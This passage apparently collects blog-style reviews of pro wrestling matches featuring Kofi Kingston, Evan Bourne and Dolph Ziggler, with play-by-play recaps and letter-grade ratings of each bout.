Rating: C. Eh just a quick match here. Otunga and McGillicutty aren’t horrible but they were boring as champions. Either way this wasn’t too bad but hopefully this starts a new thing in the division as JR and the announcers make it seem like it’s kind of a big deal. This wasn’t bad and them winning that fast was probably a good thing.

After losing the belts, Kofi was back in the Elimination Chamber in 2012.

Raw World Title: CM Punk vs. Dolph Ziggler vs. Chris Jericho vs. R-Truth vs. The Miz vs. Kofi Kingston

Jericho enters last due to winning a match on Raw two weeks ago. Punk and Kofi start us off. Naturally the two faces wrestle as faces. Also they’re not going to use a lot of energy this early in the match. Kofi goes to the ropes but might have slipped a bit. It was nothing bad though. They trade pinfall reversals and Kofi avoids the GTS. Punk avoids the Boom Drop and they go to the outside. Well as to the outside as you can go.

Punk blocks a kick and slingshots Kofi into the pod which has a great thud sound effect. Back into the ring but Punk has hurt his hip. It was probably due to that time when he got slammed out on the chain and landed on his hip, but that’s just speculation. Here’s the first pod opening and it’s…..a guy in pink trunks. The new idea they want to push is that it can go from a one on one match to a triple threat and so on. Great, another thing to have drilled into our heads.

Ziggler goes after Punk and does pullups on the Chamber wall. He splashes Kofi back in the ring and we’re told that pins have to take place in there. Good thing to clarify. A splash attempt on Punk misses and everyone is in some trouble. Punk and Kofi double team Dolph and go to the outside for a double springboard. In a cool looking visual, they both dive at Dolph but collide in the air off the springboards due to Dolph ducking.

Dolph can’t cover though so we open pod #2 after about three minutes. It’s R-Truth who works on the pink one. He’s no Bret Hart. Truth knocks Ziggler over the ropes to send Dolph leg first into the cage. Truth dives on top of him because he’s not that smart all the time. Scissors kick gets two in the ring. Punk does his usual ramming his head into the other guy’s ear to call a spot before superplexing Truth for two.

Trouble in Paradise misses Punk and Kofi gets thrown to the outside. Macho Elbow eliminates Truth but Ziggler grabs a rollup. Punk rolls through it and Kofi hits the kick on Punk (looked SICK). Ziggler goes after Kofi of course but Kofi fights him off. He can only get two on the champ though due to the delay. Kofi does the springboard into the Spider-Man cage grab then hits a tornado DDT Dolph onto the cage, basically knocking him silly.

Here’s Miz in fifth to clean house. Everyone is down now so Miz covers Dolph, getting two. Kofi gets up on the ropes and kicks Miz in the face but is knocked off and crashes into the cage. GTS and Finale are both blocked so Miz hits the short DDT for two. They head to the mat and Punk grabs the Vice on Miz, but wouldn’t you know it, Jericho comes in to break it up before the tap.

Jericho and Punk square off with Jericho in control. Walls and GTS are both blocked but the Lionsault hits for two. Ziggler comes back in and walks into the Codebreaker to get us down to four (Punk, Jericho, Miz, Kofi). Punk catches a Jericho dropkick and catapults Chris out to the cage again. Jericho gets rammed into the pods so he gets a finger into Punk’s eye and hides in the pod. That works for about two seconds as Punk follows him in.

Punk’s arm gets caught in the door and Jericho pulls on it to ram Punk into the pod door. Kofi remembers that he’s alive and tries the SOS on the cage, driving his own head into the cage. Miz and Kofi are the only ones up now but Miz misses the running clothesline and Kingston goes up. A superplex is countered as Punk powerbombs Miz for two. Kofi climbs to the top of the pod and dives onto both of them but can’t pin Miz.

Jericho comes in and Liontames Kofi for the elimination to get us down to three. He beats on Kofi after the elimination and throws him out of the Chamber. Punk kicks Jericho out of the Chamber and he’s unconscious. The referees say he’s done and say he’s not responsive. I’m REALLY not liking them doing this a week after what happened to Sorensen. The cameraman is down too but sits up a few seconds later.

Back in the ring Miz tries the Reality Check but Punk counters with a high kick for two. The running knee and bulldog get two but Punk springboards into the Finale for two. Miz freaks out and talks a lot of trash in the corner but misses a charge, hitting his head on the pod. GTS puts him out at 32:39 and I guess Jericho isn’t running in as a surprise since it’s over.

Rating: C+. The Chamber is one of those matches that gets an automatic higher grade to start. This was one of the weaker ones I can remember. For me the problem is that the main feud in this, Jericho and Punk, has no heat on it and there’s zero reason for this to be in the Chamber. They were the only two that had a chance in this but their feud has just begun with nothing but a run-in by Jericho, a promo and some staring. That’s the problem that these calendar based PPVs present and that looks like how the future will be.

With Evan Bourne on the shelf, Kofi would find a new partner and go after the belts again on Raw, April 30, 2012.

Tag Titles: Primo/Epico vs. R-Truth/Kofi Kingston

Before the match we’re told that the Bellas have been fired. Epico kicks Little Jimmy so Truth goes off on him. Truth cleans out the ring as we take a break. Back and it’s official that HHH’s arm is broken. The champs are in control and it’s time to ignore the match. Truth takes them both down and makes the hot tag to Kofi. Everything breaks down and after some Rosa interference, Trouble in Paradise pins Epico and we have new champions.

Rating: D. The match probably wasn’t that bad but this was the definition of paint by numbers. How many times have you seen the exact same match that I just described? On top of that, Kofi is still spinning his wheels with a title that means nothing at all. What in the world is the point of this?

After losing the belts in the fall, Kofi would pick up the Intercontinental Title and defend it at Hell in a Cell 2012.

Intercontinental Title: The Miz vs. Kofi Kingston

The inflatable AWESOME from the Mania match with Cena is back. Kofi is defending and this is a rematch from a few weeks ago on Main Event. Both guys try and miss their finishers less than thirty seconds in, sending Miz to the floor to regroup. How much regrouping do you need after half a minute? Kofi jumps over the steps on the floor but Miz kicks his head off to take over. That gets two back in the ring and things slow down a bit.

Off to a chinlock for awhile followed by a clothesline to put Kofi down. There’s a top rope double ax for two and Miz punts him in the ribs. Miz’s corner clothesline is blocked by a hard clothesline from the champ and both guys are down. Kofi chops Miz down and hits the Boom Drop for two. Miz runs from Trouble in Paradise but gets caught by the spinning top rope cross body for two.

The SOS is countered into half of the Reality Check but they seem to miss on something before the neckbreaker. SOS gets two and Miz hits a kind of Stunner to the leg. Miz bends the leg around the ropes and takes off the leg pad and boot from Kofi’s left leg. Kofi gets to the second rope but Miz slams him off and puts on a half crab.

Kofi crawls to the ropes but Miz pulls it right back to the center. The champ counters into a cradle for two but Miz gets the same off a short DDT. Miz loads up the Finale but Kofi counters into a kind of victory roll for two. The kick misses for Kofi but the Finale can’t hit again. Miz gets kicked to the floor and as he comes back in, Kofi kicks him into oblivion for the pin to retain at 10:44.

Rating: C+. Another good and lengthy match here as this show is already better than anything WWE has thrown at us in weeks. This gets Miz out of the title picture and hopefully pushes him back up the card. Kofi is fine in this role and can be put with almost anyone to get a good match. Solid stuff here and a fine match.

Antonio Cesaro would be US Champion for a very long time. So long that we needed someone new to take it from him. You can fill in the blanks on this match from Raw on April 15, 2013.

US Title: Antonio Cesaro vs. Kofi Kingston

Cesaro gets a mic and yodels all the way to the ring. Kofi gets a quick rollup and backslide for two each but misses a splash into the corner. A hard clothesline puts Kofi down and there’s the gutwrench suplex for two. Cesaro hooks a quick chinlock but Kofi comes back with some strikes of his own. The Boom Drop hits but Trouble in Paradise is ducked, allowing Cesaro to hit the big European uppercut for two. We take a break and come back with Cesaro pounding away with headbutts and punches in the corner.

Kofi comes back with the SOS for two and Trouble in Paradise sends Antonio to the floor. Back inside and Kofi gets two before going up top. His cross body is caught in a tilt-a-whirl backbreaker for a VERY close two but Cesaro charges into a boot in the corner. Kofi tries a springboard cross body but gets caught in the Neutralizer position. They trade some VERY fast near falls until Kofi hits Trouble in Paradise for the pin and the title at 9:25.

Rating: B-. The early part was dull stuff but that pinfall reversal sequence was awesome. The problem here is simple though: we’ve seen this like five times now from Kofi. Kingston is good in the ring and will give you a solid performance every night, but he’s not going to do anything special with the belt, primarily because he’s not going to be given the opportunity to do so. Either way, decent match here.

Intercontinental Champion Curtis Axel would hold an open challenge for the Intercontinental Title at Night of Champions 2013. Guess who accepted.

Intercontinental Title: Curtis Axel vs. Kofi Kingston

Well this is a letdown. Kofi takes him down by the wrist and sends Axel to the floor. Back in and Curtis avoids the double leapfrog and bails to the floor again because the seventeen minutes of stalling to open the show weren’t enough. Kofi kicks him on the way back in and Axel is on the floor for the third time in three minutes. Back in again and a dropkick gets two on the champion so Axel goes outside AGAIN. Kingston gets tired of waiting and goes outside but gets sent into the steps. Kofi stops himself and jumps to the apron and then the top for a spinning cross body to the floor.

Back inside again and Axel gets in a cheap shot to take over. Kofi is tied up in the Tree of Woe for a spear to the ribs and the snap Saito Suplex is good for two. We hit the neck crank followed by a clothesline for two for the champion. A quick slam gets two on Kofi as this boring match continues. Back to the chinlock for a bit before Kofi tries to spin around a clothesline but can’t quite pull it off as crisply as he wanted to. A DDT gets two on Axel and Kofi’s spinning cross body off the top gets the same.

There’s the Boom Drop but Trouble in Paradise misses. Axel drives Kofi into the corner but walks into a pendulum kick. Kofi goes up, only to dive into a dropkick to the chest for two. Kingston escapes another Saito Suplex and a side roll gets two. The SOS is countered and Trouble in Paradise is ducked but Kofi counters Curtis’ neckbreaker into the SOS for…..something as the camera is on Heyman at what could have been the three count. It’s only two so Kofi goes to the corner, only to wind up on Axel’s shoulders and dropped on the top rope. The neckbreaker into the cutter are good enough to retain Curtis’ title at 14:05.

Rating: C. When civilization has come to an end and the human race is gone, Kofi Kingston will still be in the Intercontinental Title hunt. The match wasn’t terrible and it got WAY better at the end, but the first five minutes of this match were way too boring. Also what’s the idea of having Axel in a nearly fifteen minute match before he was a big underdog in the match later? Methinks something is up.

We’ll wrap it up with this Raw from January 13, 2014.

Randy Orton vs. Kofi Kingston

Non-title. Orton is especially ticked off tonight and sends Kofi to the floor. A whip into the barricade gets two for the champ and he clotheslines Kofi down for no cover. Kofi is sent to the floor again but he manages to send Randy into the announce table a few times to get a breather. Back inside and Orton sends him face first into the middle buckle before superplexing Kingston down for two. Orton drops a knee to the face but Kofi comes back with strikes to the head to knock Orton outside. Kofi follows him to the floor and sends Orton face first into the barricade as we take a break.

Back with Orton ramming Kofi into the announce table before taking him back inside for a chinlock. Kofi fights up but gets sent to the floor and into the steps for the third time tonight. Make it four as Orton is all insane again. A hard stomp to the side of the head gets two and we hit the chinlock again.

Orton shrugs off a comeback and walks around a lot more. Kofi gets a quick two off a backslide so Orton uppercuts him down for another chinlock. The hold is broken and Kofi avoids a knee drop. A dropkick sets up the Boom Drop but Orton rolls away and loads up the Elevated DDT….but Kofi counters into the SOS for the completely clean pin at 16:51.

Rating: D+. This was mind warping. First and foremost, WAY too long with the chinlocks and walking around. I get the idea of Orton letting Kofi hang in there and getting pinned, but there are far better ways to go about it than that. Then there’s the booking which is crazy enough if you think about it for more than three seconds. Orton is the new world champion, meaning he should not be getting pinned on Raw. It’s stuff like that which crippled the World Heavyweight Title and they don’t need to do it with the one title.

Kofi is a guy that you can put into almost any midcard spot and he’ll be fine. He doesn’t need to do anything special because his in ring work speaks for itself. He hasn’t really been around that long by comparison to some of the other people you see on the shows every week and I even left out some of the titles he’s won. The key thing to him is that some people just aren’t supposed to be in the main event and there’s nothing wrong with that.

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Wrestler of the Day – March 19: Evan Bourne

Today is Evan Bourne. Do you remember him?

Super Indy Semi-Finals: Matt Sydal vs. Fast Eddie

Eddie is the Wildside Jr. Heavyweight Champion. Sydal has Daizee Haze in his corner while Eddie has Sal Rinauro. Eddie gets taken down by a quick armdrag but he grabs the leg to take over, sending Eddie into the ropes. Off to a cross armbreaker but Eddie is in the ropes again. Back up and a spinwheel kick sends Eddie out to the floor to complain about his face.

Eddie gets back in and sends Matt into the ropes, allowing Sal to trip him up. A Samoan drop puts Sydal down but Eddie applauds himself instead of covering. Sydal flips out of a German suplex but walks into a clothesline to drop him to the mat. Matt fights out of a superplex attempt and hits a twisting Lionsault for two.

It was soon off to ROH, including this match at Joe vs. Punk II in October of 2004.

Angel Dust vs. Matt Sydal vs. Josh Daniels vs. Trent Acid

Daniels is some indy guy that I’ve heard of and that’s about it. Angel Dust is an indy guy known as Azrieal and had a one off appearance in the X-Division Showcase on Impact as Federico Palacios. Acid is an indy guy that died last year and Sydal is Evan Bourne and a heel here. This is called a survival match but it’s one fall to a finish. Ok then. Acid is in the shirt, Dust is in the bandana and Daniels has the gold/yellow trim. Got it.

Dust is part of a team called Special K which I believe was a bunch of drug addicts. This is a fast paced match but Dust loses a headlock for a second on Sydal in a bit of a botch. Acid sends Sydal (who I might call Bourne) to the floor and it’s off to Daniels. I think if you go to the floor it’s the same as a tag. Daniels sets for a dive but runs into a forearm from Acid. Dust tries a huge moonsault to the floor but misses everything.

The announcers have no idea who is legal here. Everyone is back in now and it’s a big brawl still. A Blue Thunder Bomb gets two for Acid. I think it’s Daniels vs. Acid who are legal but Dust tags himself in. Daniels is like cool man and fires off some kicks. Sydal comes in out of nowhere and tries a shooting star but lands on his feet. Everything breaks down and Acid hits a reverse inverted DDT on Sydal but Daniels hits a German on Dust and they’re legal so Daniels gets the win.

Rating: C. Fun match but it was totally insane. The fans liked Acid the best and were MAD when he lost. Still though, this one got too insane and it was hard to tell what was going on at all by the end of it. That can get very annoying and it did so here. Not a horrible match or anything but it was too big of a mess to make much sense.

Matt Sydal/Shingo/CIMA vs. Delirious/Austin Aries/Roderick Strong

Sydal is more commonly known as Evan Bourne as I mentioned above. Shingo is from Dragon Gate and CIMA might be as well. His name is pronounced Shima so this could lead to some misspellings. Also, I’m not capitalizing his name again. It’s the same thing despite what some would have you believe. Delirious is….yeah.

Aries is the only two time ROH World Champion so he’s something special here. Strong is a guy with something like 16 ways to hit a backbreaker. This is under Dragon Gate Rules which aren’t explained. Strong, Aries and Sydal were in a team called Generation Next together.

Apparently you don’t have to tag to switch off but you have to be on offense. Ok that makes sense. Delirious goes into a trance and goes insane once the bell rings. He’s definitely interesting if nothing else. He’s great in the ring if nothing else. He starts with Sydal who I’ll likely call Bourne at least once. This is your usual insane Japanese match and apparently the fans like Cima.

There isn’t much to talk about here other than it’s just general insanity the whole time. This is what you call a spotfest with some mild wrestling involved. It’s not bad or anything, but it’s not comparable to traditional matches. It’s weird seeing Sydal being considered a serious competitor rather than a spot monkey or jobber.

The fans like both teams. Aries is getting beaten down pretty fiercely. I think the team with the Japanese guys and Sydal are the heels even though Daniels, Sydal’s partner, was ridiculously popular. Fisherman’s suplex gets two on Aries. Strong gets the tag and comes in and he and Delirious clean house.

Cima is getting his head handed to him. With everyone brawling on the floor, Sydal goes up top and the crowd just rises to their feet. Great visual there. Delirious hits Shadows Over Hell (Splash to the back of a guy not on the mat) is followed by a 450 from Aries. This is totally insane. Cobra Stretch, Delirious’ submission, is broken up. Cima hits a package piledriver on Delirious for the pin.

Rating: B. This falls into that gray arena of entertaining but bad as far as flow or anything like that goes. Then again that’s kind of the point of the Dragon Gate promotion. This was supposed to be completely insane and it more or less was. It was fun though so I can’t complain much at all.

Human Tornado vs. Matt Sydal

Matt Sydal vs. Johnny Punch

However he would only hold the title for a few months as WWE severed ties with OVW and brought Sydal up to the main roster as Evan Bourne. He debuted on ECW on Sci-Fi on June 3, 2008.

Evan Bourne vs. Shelton Benjamin

Shelton gets his wits together and takes Evan down for some choking. A hard whip into the corner puts Bourne down and we hit the armbar. Bourne gets dropped by a clothesline and Shelton throws him to the floor. Shelton starts jawing with Kofi before picking Evan up for a powerbomb on the floor. Instead he throws Evan at Kofi and slides back in to beat the count.

Evan would get over with the fans and be voted into the ECW Title match at Cyber Sunday 2008.

ECW Title: Evan Bourne vs. Matt Hardy

Henry got an embarrassing SIX percent. That’s just funny. Bourne has been around 8 months at this point? Really? He’s been around almost three years? I wouldn’t believe that if they hadn’t said it. Yeah that’s not right. He’s been there like 5 months and debuted in June of 08, so he hasn’t even been around two and a half years yet. That’s more like it. This is the rare face vs. face match which can work well if done right.

Bourne hits a NICE standing moonsault for two. This is a solid back and forth match that there isn’t much to say about as there isn’t much to make fun of. Bourne is good by the way, despite what people want to believe. Matt hooks an abdominal stretch and Matt picks up one of his legs to make that look even more freaky. Bourne counters Splash Mountain, which is a Razor’s Edge into a sitout powerbomb.

Side Effect gets two as Bourne really only has the Shooting Star in his arsenal but getting that move set up is easier said than done. His offense has evolved a good bit since then and he’s a more complete wrestler now. He counters…..something, with a spinwheel kick, making me smile since that’s one of my favorite moves. Striker throws out a bunch of obscure title changes that have happened here because SO many people care that Owen Hart and Jeff Jarrett beat Big Bossman and Ken Shamrock in Phoenix.

The Shooting Star misses but the Twist of Fate is countered here. This has cranked WAY up, and just as I say that the Twist of Fate hits to end it. This was one of Hardy’s more entertaining matches in a long time. He was in a groove at this point and he looked very good here.

Rating: B. Solid match as Matt was very entertaining at this point. He was good for the ECW Title since he was a big name that didn’t belong as world champion or anything like that, but he could go out there and pop the crowd, which is the idea of a character like him. This was a very entertaining match as they let Hardy be more like his old self and get a veteran finish, which was nice. It’s not an instant classic like Todd wants us to think, but this was good.

Chris Jericho vs. Evan Bourne

You can never accuse Jericho of not helping the young guys. You can tell Bourne is excited and fired up to be here which is a very nice thing to see. It’s great to see the young guys being given a chance. Even if they botch it, they’ve got a chance. The fans cheer for Jericho as we’re in the smark capital of the world.

Bourne hits a sweet dive off the top to the floor to take out Jericho. Jericho hits a standard dropkick which isn’t something that he throws out most of the time. It’s nice to see things like that so I can’t help but smile. Jericho hooks a chinlock and you can feel an energy here which is nice. There’s a nice German suplex as Jericho is busting out a lot of stuff here. Jericho gets a great roll through of a something into the Walls and Bourne is in trouble.

He makes the ropes of course but there was a chance that it could work there. That’s something I haven’t felt in a very long time. Jericho throws him to the floor and he hits the table. FREAKING OW MAN. Back in, Bourne hits a double knee to the top of Jericho (call it his shoulders I guess) for two. He goes for Air Bourne but takes WAY too long. He lands on his feet but eats the Codebreaker. Foot on the ropes though as this is a VERY good match.

Jericho just starts yelling at him to stay down and runs into a rollup for two. Not really anything to sweat but a nice one. Air Bourne is blocked again and we go up. Jericho gets knocked down but Jericho gets up AGAIN and crotches Bourne. Sorry for all the play by play here but this is back and forth. Jericho goes down a THIRD time and Bourne hits the Shooting Star to the back and GETS THE CLEAN PIN. WOW.

Rating: B+. I LOVED this. It’s not a great match, but dang it built up really well and Bourne gets the clean win. That is how you make a guy look great. Also, to everyone that has said Bourne has nothing, screw you all. This was a great match which he seems to have more and more of lately. Nah couldn’t be talent could it?

Evan Bourne/Mark Henry vs. John Cena/Michael Tarver

Bourne and Cena start us off and they shake hands. Bourne is skeptical about it, I guess because the months and months of Cena being a good guy, the helping Bourne and losing last night via cheating in a match Bourne tried to even the odds in and the proclamation that Cena read so begrudgingly, Bourne isn’t quite sure if Cena can be trusted. Cena tags out almost immediately and Tarver takes over as we go to a break.

Back with Henry beating on Tarver. Does someone want to explain to me why Bourne and Henry are a team again other than they both wear red? Tarver tries to make a tag but Cena keeps pulling his arm back. Tarver finally breaks Bourne’s momentum and goes to tag Cena but Cena drops to the floor and pulls out a Sharpie to sign some autographs. World’s Strongest Slam ends Tarver.

Rating: C. Going with average here because this wasn’t about the match whatsoever obviously. This is a nice introduction to the story that they’re going with here and it seems to be intriguing. I could see a few possible endings to this with the main one being Cena keeps rebelling until one day he joins willingly and turns full heel but I doubt it. Either way it’s something for him to do which doesn’t involve the title so all is fine there. The C grade isn’t indicative of the wrestling here but rather that the wrestling wasn’t the point here.

Jack Swagger vs. Evan Bourne

The fans want Ryder again.  Let it go already people.  Basic power vs. speed here with no one caring but it’s hard to complain about free wrestling.  Bourne does his speed moves to fly around everywhere and confuse Swagger but Jack catches him and works on the ribs.  We hit the reverse chinlock as the Bellas are in the front row with the beer dude.

Swagger does the pushup on the chest of Bourne which apparently ticks the small man off.  A back body drop of all things gets two for Jack.  Vader Bomb gets two.  Bourne starts his comeback with his usual kicks and basic offense.  He loads up the Shooting Star but has to jump off due to Swagger being up.  Big boot gets two.

Spinning DDT gets two and Bourne busts out the kicks.  Pretty awesome finishing sequence as Bourne sets for the Shooting Star but lands on his feet.  Swagger gets a sweet running charge into the gutwrench powerbomb which is countered into a sunset flip into the ankle lock which Bourne rolls through for the pin.

Rating: B-. I liked this quite a bit actually but I’m a fan of power vs. speed.  This was just a bonus match and it ate up about ten minutes, making the main event far more realistic with about twenty minutes instead of closer to thirty or thirty five.  That finishing sequence was rather good and the whole thing worked rather well, especially when it’s just a bonus.  Can’t complain about free wrestling, especially when it’s pretty good.

Tag Titles: David Otunga/Michael McGillicutty vs. Kofi Kingston/Evan Bourne

This is a rematch from last week. Lawler points out that the champions haven’t done anything with the belts. We get a Bushwhackers reference as Lawler says they had better charisma. That’s true at least. Bourne beats on McGillicutty to start but that doesn’t last long with Kofi coming in. After some more attacking he goes outside after both champions and gets caught easily.

Otunga comes in to work over Kofi, hitting a corner clothesline for a very delayed two. Off to a chinlock for a few seconds and here’s McGillicutty who hits a double team dropkick/atomic drop for two. JR says that was an almost perfect dropkick. Off to another chinlock and McGillicutty yells at Lawler, asking if that was impressive. In a cool move Kofi nips up into a headscissors and brings in Bourne. He cleans house with jumping knees and a spin kick for two. Kofi sends Michael to the floor and hits Trouble in Paradise to Otunga. Shooting Star Press gives us new champions at 5:00.

Rating: C. Eh just a quick match here. Otunga and McGillicutty aren’t horrible but they were boring as champions. Either way this wasn’t too bad but hopefully this starts a new thing in the division as JR and the announcers make it seem like it’s kind of a big deal. This wasn’t bad and them winning that fast was probably a good thing.

They would defend their belts at Hell in a Cell 2011.

Tag Titles: Air Boom vs. Dolph Ziggler/Jack Swagger

Cole: “And yes folks that name is your fault!” Ziggler vs. Kofi to start us off. See, this is old school booking: these were four guys in two singles feuds and they didn’t really have anything else to do after that so they were combined into one feud and made into tag teams which gives them new matches down the road while still being able to feud with the same people in a different feud. See it’s not that hard.

Ziggler gets beaten down for awhile but gets a boot up in the corner to take down Bourne and bring in Swagger. Everyone but Ziggler is in blue. We get into the standard Air Boom formula: hot start, then they get into trouble and by that I mean Bourne gets beaten down for awhile. Cole talks about how Vickie is going to get Swagger matches and spots he wants which is what you do as a manager. You have someone like Vickie who is a heat magnet and you have two guys like Swagger and Ziggler with talent but limited charisma. It’s a perfect match as they can do in the ring and she supplements it with the talking. Everyone wins.

Kofi comes in and Swagger pulls the rope down to send him to the floor so Ziggy can take over. Cole goes on a long rant about HHH and how horrible he is and Booker is like man I was in WCW so don’t try to tell me about politics. Not in so many words but it’s almost kind of maybe in a way implied. We mix up the formula a bit here so that Kofi is the one getting beaten down.

After Ziggler gets his beating in it’s the ankle lock by Swagger. Kofi escapes and hits a DDT to put both guys down. There’s the hot tag to Bourne and everything breaks down. Ziggler bails so Kofi takes Swagger down and breaks up the ankle lock with a top rope cross body. Bourne hits a standing moonsault to Dolph for two. The challengers set for some assisted powerbomb off the top but Bourne counters into a rana off the top to pin Swagger at 11:13.

Rating: B-. I liked this and I’m glad that they kept the belts on Air Boom. They need to build up a team like them so that we can have another team step up to challenge them. It doesn’t mean anything to have worthless teams lose and win the titles over and over again. Having a team like Air Boom on TV a lot and win the matches over and over again makes them interesting and builds up their reputation. See how it works?

Tag Titles: Epico/Primo vs. Air Boom

Neither team even gets intros. Great to see how well the new champs are treated. We actually get clips of the title change last night. There’s a fortune to be made in filming house show stuff and releasing like 3 hours of it for ten bucks on DVD or WWE.com or something. The matches are already there anyway so just film them. Epico vs. Bourne to start us off.

Bourne hits an awesome standing rana to Epico off the top to send him into Primo. Off to Kofi who cleans a house that wasn’t very dirty in the first place. Boom Drop gets two and it’s Trouble in Paradise time, but Primo breaks it up. The kick hits Epico a second later but the Shooting Star takes too long to hit. Backstabber keeps the titles on the champs at 2:20.

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Wrestler of the Day – March 16: Dolph Ziggler

TV Title Tournament First Round: Paul Burchill vs. Nick Nemeth

A hard uppercut drops Nemeth and a monkey flip gets two more. They trade rollups for two each until Burchill takes over with a slam. Nemeth avoids a moonsault and hits a running tornado DDT but Paul gets a foot on the ropes. Burchill tries to bail a few times in a row before rolling through a cross body and grabbing the tights to advance.


Spirit Squad vs. DX

Oh and for their big return, DX comes out first of course. This whole show is making my skull ache. So there is NO DRAMA here at all, even though the SS are the tag champions. This show needs to end, and they saved the worst for last. No one buys this as a legit challenge and they shouldn’t. It’s one fall, and the current OVW Champion is on the heel team.

Also Ross points out that the Squad has never beaten DX. That’s just brilliant: point out that this has been one sided. The Squad has air horns and matching outfits and all that jazz. Shawn and Mitch start us off. If my memory is right, he’s the least talented one. Let that sink in for a bit. Shawn gets ganged up on in the corner and beats all five of them up. Give me a break. HHH finally comes in since Shawn hasn’t broken a sweat yet.

This is pointless and I know this match has just gotten started. Johnny gets his nose busted up and comes in. He, I kid you not, pulls out a bandana with a Japanese sun and Japanese characters on it and pretends he’s the Karate Kid. A comedy match is ending the PPV. Shoot me. Please. HHH hits the Flair knee drop to further mess up his nose. Johnny is talented too but he was just too small to be worth much. And now he gets pantsed.

A quadruple team gets HHH so close to trouble that he can see it with a telescope. And he’s fine in like 8 seconds and tags Shawn to no pop at all. Shawn does his usual stuff and hits the elbow. Mikey hits what we would call Trouble in Paradise and actually gets a cover! Kenny gets a chair shot that comes maybe a foot away from Shawn’s head but whatever. Mitch gets a running start and jumps on a trampoline to get from the floor over the top rope for a bulldog.

I hate this match. I truly do. Shawn’s beating gets about as much heat as Antarctica so HHH comes in and beats them up. Mikey messes up on the trampoline so four of them are down. Kenny, for lack of the better term the leader, takes the Pedigree to end it. Mitch gets his face shoved into HHH’s back to end it with a Vince staredown.

Rating: F. The main event of a PPV had a guy being pantsed, air horns and trampolines. Do I need to make fun of this? There was NO drama at all here and it was more or less one sided the whole way. Horrible match so of course it got 18 minutes. At the end of the day, the Squad just wasn’t ready for this spot.

Nic Nemeth vs. Greg Jackson

Nemeth is Dolph Ziggler and he’s a natural. My cousin is named Greg Jackson but I have no idea who this guy is. I’d bet on a squash here. Jackson has a good armdrag if nothing else. AHA! Jackson is more commonly known as Trent Barretta. I knew I had seen him before. Good to see that the second biggest team on Smackdown has one guy that’s unrecognizable.

Sweet dropkick to take out Jackson on a springboard clothesline. Nemeth has half black hair here which is a weird look for him. Jackson makes a short comeback but a jumping Downward Spiral ends Jackson and completes this glorified squash.

Rating: D+. Again not much here but they were kind of flying through this since it was only a squash. The match never really went anywhere but for a glorified squash what can you really ask for? At least the right guy won as Ziggler is by far and away the better talent of the two.

Batista vs. Dolph Ziggler

Ziggler would tread water for the next several months but would get an Intercontinental Title shot at Hell in a Cell 2009.

Intercontinental Title: John Morrison vs. Dolph Ziggler

WOW this feud seems like it was years ago when it was like 4 months. Morrison comes out first which is really weird when you think about it. Ziggler’s music is awesome if nothing else. That shinny thing that Dolph does to get out of his vest is nice. This is the day after Morrison turned thirty in case you were interested for some odd stalker based reason. What in the heck is up with Dolph’s hair? And why hasn’t Word heard of the word Dolph?

Didn’t it ever see Rocky IV? It amazes me how Morrison showed so much promise and Miz is flat out better than he is at the moment. They’re using a more mat based thing here which is odd but it’s not terrible I suppose. Just as I say that Morrison goes to the air and misses Starship Pain.

Ziggler is good at being the obnoxious heel but he needs a different name if he’s ever going to be taken seriously. But hey, it’s “realistic” right? Love that corner splash he does too. He’s a lot better technically than I would have guessed him to be. Morrison starts his comeback and the crowd is really hot tonight which makes this a better show as it does in all cases.

That standing Shooting Star Press is either overrated or awesome and I’m not sure which. They’re hitting some sweet near falls here. Ziggler uses a jawbreaker of some kind but it came off looking really weird. Morrison sells the neck work that Ziggler did. That’s a great sign as so few people do it.

I’m liking this match a good deal indeed. The near falls are getting better and better. Starship Pain is countered again which is good as Ziggler was laying there forever and it would have sucked if it hit. Crowd chants THIS IS AWESOME and they’re right. Morrison counters the ZigZag and hits a much faster Starship Pain to get the pin. Sweet match.

Rating: B+. Probably too high but this was a very fun match. The near falls were great and at times they had me believing Morrison wasn’t a lock to win which is the best thing a match can do: get you to believe something you know it’s true and that’s what they did here. This was very fun though as it was given the time to flesh itself out as it had over 15 minutes to work with. The IC Title hunt was just awesome at this time and this was no exception.

Kofi Kingston vs. Dolph Ziggler

We see a quick recap of Vickie costing Kofi the win last week. I still can’t stand her. This is non-title and if Dolph wins he gets a title shot next week. Ziggler dominates for the most part here, injuring Kofi’s ribs early on. He even busts out a reverse slam which is a cool move. The problem here is that he’ll likely wind up by going with the sleeper to end it which has nothing to do with the ribs.

We get a Tom Arnold and Roseanne reference just to make this either awesome or awful. Answer as to which of those it is coming later. After a LONG beatdown, Kofi starts making his comeback. This has been quite good actually. Ziggler hits a Fameasser (Striker says it made Kofi famous) for two. This is a prime example of why he doesn’t need Vickie: he’s having a very solid match with one of the most well rounded guys on the roster. Why does he need Vickie?

She slaps Kofi and he gets all ticked off and beats the tar out of Dolph. He goes so insane that it’s enough for a DQ. Dolph is thrown onto the announce table and this is a beating. Referees finally pull him off and Ziggler is declared the winner. Solid match here and a great post match thing.

Rating: B-. Another good match here with neither guy being able to beat the other definitively. I like seeing Kofi show emotion like this as he doesn’t do it enough. He just snapped and couldn’t take it anymore which worked well for him. I liked this as Smackdown continues this whole wrestling thing and it’s working. What an idea.

Intercontinental Title: Kofi Kingston vs. Jack Swagger vs. Dolph Ziggler

That’s what I figured would be the opener. Nothing like a hot opener to be, you know, the opener. King says that Vickie isn’t as cute as Bill Dundee in another line that most people won’t get at all. Weird kind of three way brawl to start and we get a LOUD Kofi chant. Ziggler to the floor and Cole and Lawler start chatting about ladder matches which should be interesting.

First ladder brought in by the champion but both challengers shove him off as the champion touches the belt. Sweet dropkick by Kofi takes down Swags. In a smart spot Kofi shoves the ladder down onto Swaggers’ hands/arms as he’s using the ropes to get up. Another ladder in now, also by Ziggles. Swagger has to get his arm looked at as Kofi lands back first on a ladder.

Slingshot from the mat into the ladder draped over the middle rope. It may help if I say Swagger launched Ziggler into it. This is going WAY too fast to call play by play and such. Ziggler hits a Fameasser onto Kofi onto a ladder onto Swagger. Everyone is out so Vickie comes in. Lawler: who does she think she is, Michael Cole? She tries to go up for no adequately explored reason so Kofi starts to tip over the ladder until the heels make the save.

Everyone on the floor now as the fans are WAY behind Kofi still. He goes up the ladder but Swagger grabs the ankle lock. Ziggler climbs up their backs and nearly pulls it off. Ziggler vs. Kofi on top as Jack is down on the floor. Big BOMBS being thrown here. Dolph manages to get the freaking Sleeper on top of the ladder! He fights out and gets a big shot to put Dolph down a bit.

